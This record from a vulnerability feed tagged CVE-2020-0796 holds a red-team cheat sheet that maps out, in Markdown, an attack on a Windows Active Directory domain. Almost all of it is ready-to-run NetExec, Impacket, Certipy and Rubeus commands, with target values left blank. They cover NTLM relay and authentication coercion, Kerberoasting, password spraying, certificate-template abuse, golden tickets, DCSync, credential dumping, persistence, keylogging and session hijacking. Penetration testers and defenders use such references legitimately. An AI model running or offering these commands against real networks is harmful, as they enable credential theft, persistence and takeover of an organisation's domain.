{"uuid": "be492ab8-10ff-4036-af2b-919d93f00c42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://gist.github.com/yvshok/4965d63f4ee354ac616a0b9c593a817a", "content": "---\ntitle: markmap\nmarkmap:\n  colorFreezeLevel: 2\n---\n\n# **RedTeamDocs**\n\n## **No Credentials**\n\n### SMB\n\n- SMB Signing Not Required / SMB Signing Check (Single Host)\n  `nxc smb  -u  -p  | grep SMBv1`\n- SMB Relay List Generation\n  `nxc smb /24 --gen-relay-list nosigning.txt`\n- SMB Shares Anonymous Enumeration\n  `smbclient -L \\\\ -N`\n- SMB Guest Access Check / Null Session SMB\n  `nxc smb  -u 'guest' -p ''`\n- SMB Version Detection (SMBv1)\n  `nmap -p 445 --script smb-protocols `\n- RPC Null Session Enumeration\n  `rpcclient -U \"\" -N  -c \"enumdomusers\"`\n- WebDAV Enabled Check / WebClient Coercion\n  `nxc smb  -u  -p  -M webdav`\n- MS17-010 (EternalBlue) Check\n  `nmap -p 445 --script smb-vuln-ms17-010 `\n- SMBGhost (CVE-2020-0796) Check\n  `nxc smb  -u '' -p '' -M smbghost`\n- Zerologon Vulnerability Check\n  `nxc smb  -u '' -p '' -M zerologon`\n- PrintNightmare Check\n  `nxc smb  -u  -p  -M printnightmare`\n- Authentication Coercion (PetitPotam / DFSCoerce / PrinterBug / ShadowCoerce MSEven)\\*\\*\n  `nxc smb  -u '' -p '' -M coerce_plus`\n- Authentication Coercion (Specific Method)\n  `nxc smb  -u '' -p '' -M coerce_plus -o METHOD=PetitPotam`\n- Authentication Coercion (with Listener for Relay)\n  `nxc smb  -u '' -p '' -M coerce_plus -o LISTENER= ALWAYS=true`\n\n### LDAP\n\n- LDAP Anonymous Bind Enumeration\n  `ldapsearch -x -H ldap:// -b \"dc=domain,dc=local\"`\n- LDAP Signing Not Enforced\n  `nxc ldap  -u  -p  | grep \"LDAP Signing\"`\n- LDAP Channel Binding Not Enforced\n  `nxc ldap  -u  -p  | grep \"LDAP Channel\"`\n- Machine Account Quota Check\n  `nxc ldap  -u  -p  -M maq`\n\n### Kerberos\n\n- AS-REP Roasting (No Pre-Auth)\n  `impacket-GetNPUsers / -usersfile users.txt -format hashcat -outputfile asrep.txt -dc-ip `\n- Kerberos User Enumeration (No Credentials)\n  `nmap -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='' `\n\n### Other\n\n- DNS Zone Transfer Attempt\n  `dig axfr  @`\n- LLMNR/NBT-NS Poisoning Detection\n  `responder -I  -A`\n- IPv6 DNS Takeover (mitm6) Detection\n  `mitm6 -d  --ignore-nofqdn`\n\n## **Basic Credentials (Low-Priv Domain User)**\n\n### SMB\n\n- SMB Share Enumeration\n  `nxc smb  -u  -p  --shares`\n- SMB Share Enumeration (smbclient)\n  `smbclient -L \\\\ -U '\\%'`\n- GPP Passwords in SYSVOL / GPP Password Discovery / Group Policy Preferences Abuse\n  `nxc smb  -u  -p  -M gpp_password`\n- GPP Autologin Discovery\n  `nxc smb  -u  -p  -M gpp_autologin`\n- Password Spraying (NetExec)\n  `nxc smb  -u users.txt -p 'Password123' --no-bruteforce --continue-on-success`\n- Password Spraying with Jitter\n  `nxc smb  -u users.txt -p passwords.txt --jitter 2-5`\n- LAPS Password Read / LAPS Password Read (Admin)\n  `impacket-GetLAPSPassword /: -dc-ip `\n- MSSQL Enumeration\n  `nxc mssql  -u  -p  --local-auth`\n- WinRM Access Check\n  `nxc winrm  -u  -p `\n- RDP Access Check\n  `nxc rdp  -u  -p `\n- SSH Access Check\n  `nxc ssh  -u  -p `\n- NTLM Relay (SMB)\n  `impacket-ntlmrelayx -tf nosigning.txt -smb2support -c \"whoami\"`\n- SMB Signing Disabled Hosts (Relay Targets)\n  `nxc smb /24 --gen-relay-list relay_targets.txt`\n- MSSQL Command Execution\n  `nxc mssql  -u  -p  -q \"EXEC xp_cmdshell 'whoami'\"`\n\n### LDAP\n\n- BloodHound Collection (All) / ACL Enumeration for Abuse Paths / WriteDA Enumeration / AdminSDHolder Abuse\\*\\*\n  `bloodhound-python -u  -p  -d  -c All -ns `\n- LDAP User/Group Enumeration / LDAP Password Policy Enumeration\n  `nxc ldap  -u  -p  --users --groups`\n- Unconstrained Delegation Discovery / DNSAdmins Privilege Check\n  `nxc ldap  -u  -p  --trusted-for-delegation`\n- ACL Enumeration for Abuse Paths\n  `nxc ldap  -u  -p  --acls`\n- GMSA Password Read\n  `nxc ldap  -u  -p  --gmsa`\n- Exchange Windows Permissions Check\n  `nxc ldap  -u  -p  --groups | grep -i \"Exchange Windows\"`\n- GenericAll/GenericWrite Discovery\n  `nxc ldap  -u  -p  --acls | grep -i \"generic\"`\n- Delegation Enumeration / Constrained Delegation Discovery\n  `impacket-findDelegation /: -dc-ip `\n- ADCS Enumeration (Certipy) / ADCS ESC6 Attack (EDITF_ATTRIBUTESUBJECTALTNAME2)\n  `certipy-ad find -u @ -p  -dc-ip  -vulnerable`\n- ADCS Enumeration (Impacket)\n  `python examples/adcs_enum.py /:@ -vuln-only`\n- ADCS ESC1 Attack (Certipy)\n  `certipy-ad req -u @ -p  -dc-ip  -ca  -template  -upn administrator@`\n- ADCS ESC2 Attack (Any Purpose EKU)\n  `certipy-ad req -u @ -p  -dc-ip  -ca  -template  -upn administrator@`\n- ADCS ESC3 Attack (Enrollment Agent)\n  `certipy-ad req -u @ -p  -dc-ip  -ca  -template EnrollmentAgent`\n- ADCS ESC4 Attack (Template ACL Write)\n  `certipy-ad template -u @ -p  -dc-ip  -template  -write-default-configuration`\n- ADCS ESC7 Attack (CA Officer Rights)\n  `certipy-ad ca -u @ -p  -dc-ip  -ca  -add-officer `\n- ADCS ESC8 Attack (NTLM Relay to HTTP) / NTLM Relay (ADCS ESC8)\n  `certipy-ad relay -ca  -template DomainController`\n- ForceChangePassword Abuse\n  `net rpc password   -U /% -S `\n- AddSelf to Group Abuse\n  `impacket-ntlmrelayx -t ldap:// --escalate-user `\n- NTLM Relay (LDAP)\n  `impacket-ntlmrelayx -t ldaps:// --delegate-access`\n\n### Kerberos\n\n- Kerberoasting (SPN Accounts) / Kerberoasting (NetExec)\n  `impacket-GetUserSPNs /: -dc-ip  -outputfile kerberoast.txt`\n- AS-REP Roasting with Credentials\n  `impacket-GetNPUsers /: -dc-ip  -request -outputfile asrep.txt`\n- GetADUsers Enumeration\n  `impacket-GetADUsers -all -dc-ip  /:`\n- GetADComputers Enumeration\n  `impacket-GetADComputers -dc-ip  /:`\n- SID Enumeration (lookupsid)\n  `impacket-lookupsid /:@ 20000`\n- Kerberos TGT (GetTGT)\n  `impacket-GetTGT /: -dc-ip `\n- Overpass-the-Hash\n  `impacket-getTGT / -hashes : -dc-ip `\n- Pass-the-Ticket\n  `export KRB5CCNAME=`\n- Silver Ticket Creation\n  `impacket-ticketer -nthash  -domain-sid  -domain  -spn  `\n- Golden Ticket Creation / Sapphire Ticket Attack\n  `impacket-ticketer -nthash  -domain-sid  -domain  `\n- DCSync Attack\n  `impacket-secretsdump /:@ -just-dc`\n- Kerberos Ticket Extraction (Rubeus)\n  `Rubeus.exe dump /nowrap`\n- Kerberos TGT Delegation (Rubeus)\n  `Rubeus.exe tgtdeleg /nowrap`\n\n### Authentication Coercion (SMB-based)\n\n- Authentication Coercion (All Methods)\n  `nxc smb  -u  -p  -M coerce_plus -o LISTENER=`\n- Authentication Coercion (PetitPotam)\n  `nxc smb  -u  -p  -M coerce_plus -o METHOD=PetitPotam LISTENER=`\n- Authentication Coercion (DFSCoerce)\n  `nxc smb  -u  -p  -M coerce_plus -o METHOD=DFSCoerce LISTENER=`\n- Authentication Coercion (PrinterBug)\n  `nxc smb  -u  -p  -M coerce_plus -o METHOD=PrinterBug LISTENER=`\n- Authentication Coercion (ShadowCoerce)\n  `nxc smb  -u  -p  -M coerce_plus -o METHOD=ShadowCoerce LISTENER=`\n- PetitPotam Coercion (Impacket)\n  `impacket-petitpotam /:@ `\n- PrinterBug Coercion (Impacket)\n  `impacket-printerbug /:@ `\n- DFSCoerce Coercion (Impacket)\n  `impacket-dfcoerce /:@ `\n- ShadowCoerce Coercion (Impacket)\n  `impacket-shadowcoerce /:@ `\n\n### Other\n\n- MSSQL Enumeration\n  `nxc mssql  -u  -p  --local-auth`\n- RBCD Attack Setup\n  `impacket-addcomputer /: -dc-ip  -computer-name 'FAKE$' -computer-pass 'FakePass123'`\n- RBCD Delegation Configuration\n  `impacket-rbcd /: -dc-ip  -delegate-from 'FAKE$' -delegate-to '' -action write`\n- Shadow Credentials Attack (Certipy) / Shadow Credentials Attack (pyWhisker)\n  `certipy-ad shadow auto -u @ -p  -account  -dc-ip `\n- Certificate Authentication (Certipy)\n  `certipy-ad auth -pfx  -dc-ip `\n- Unconstrained Delegation Capture\n  `Rubeus.exe monitor /interval:5 /nowrap`\n- Constrained Delegation Abuse (S4U2Self/S4U2Proxy)\n  `impacket-getST /: -spn / -impersonate administrator`\n- RBCD Abuse Execution\n  `impacket-getST /: -spn / -impersonate administrator`\n- Shadow Credentials Authentication\n  `certipy-ad auth -pfx  -dc-ip `\n- SMB Relay for Command Execution\n  `impacket-ntlmrelayx -tf nosigning.txt -smb2support -c \"powershell -e \"`\n- WebDAV + NTLM Relay Combo\n  `nxc smb  -u  -p  -M webdav`\n- MS14-068 Kerberos Privilege Escalation\n  `impacket-goldenPac /:@`\n- PrintNightmare Exploitation\n  `impacket-ntlmrelayx -t smb:// -smb2support --no-smb-server -c \"...\"`\n- NoPac (CVE-2021-42278/42287)\n  `nxc smb  -u  -p  -M nopac`\n\n## **Admin Credentials (Local Admin)**\n\n### SMB\n\n- Local Admin Verification (Pwn3d!)\n  `nxc smb  -u  -p `\n- SAM Dump (Local)\n  `impacket-secretsdump /:@`\n- NetExec SAM Dump\n  `nxc smb  -u  -p  --sam`\n- NetExec LSA Dump\n  `nxc smb  -u  -p  --lsa`\n- Pass-the-Hash\n  `nxc smb  -u  -H `\n- Impacket PSExec\n  `impacket-psexec /:@`\n- Impacket AtExec\n  `impacket-atexec /:@ 'whoami'`\n- NetExec Command Execution\n  `nxc smb  -u  -p  -x 'whoami'`\n- Scheduled Task Creation / NetExec Impersonate Logged-On Users\n  `nxc smb  -u  -p  -M schtask_as -o USER= CMD='whoami'`\n- Service Creation for Persistence / Impacket SMBExec\n  `impacket-smbsvc /:@`\n- WMI Persistence / Impacket WMIExec\n  `impacket-wmiexec /:@`\n- Startup Folder Persistence\n  `nxc smb  -u  -p  -M startup`\n- Registry Run Key Persistence\n  `nxc smb  -u  -p  -M runkey`\n- Browser Credential Extraction (Remote)\n  `nxc smb  -u  -p  -M firefox`\n- Chrome Credential Extraction (Remote)\n  `nxc smb  -u  -p  -M chrome`\n- WiFi Credential Extraction (Remote)\n  `nxc smb  -u  -p  -M wifi`\n- Screenshot Capture (Remote)\n  `nxc smb  -u  -p  -M screenshot`\n- Keystroke Logging (Remote)\n  `nxc smb  -u  -p  -M keylogger`\n- RDP Session Hijacking\n  `nxc smb  -u  -p  -M rdp_hijack`\n\n### Kerberos / Domain Admin\n\n- NTDS.dit Dump (Domain Admin)\n  `impacket-secretsdump /:@ -just-dc-ntlm`\n- DCSync with NetExec / NetExec NTDS Dump\n  `nxc smb  -u  -p  --ntds`\n- DSRM Password Dump\n  `impacket-secretsdump /:@ -sam`\n- LSA Secrets Dump\n  `impacket-secretsdump /:@ -lsa`\n- Cached Credentials Dump\n  `impacket-secretsdump /:@ -just-dc-user `\n- Golden GMSA Attack\n  `goldenGMSA.py -s  -p  -t `\n", "creation_timestamp": "2026-10-11T02:41:04.000000Z"}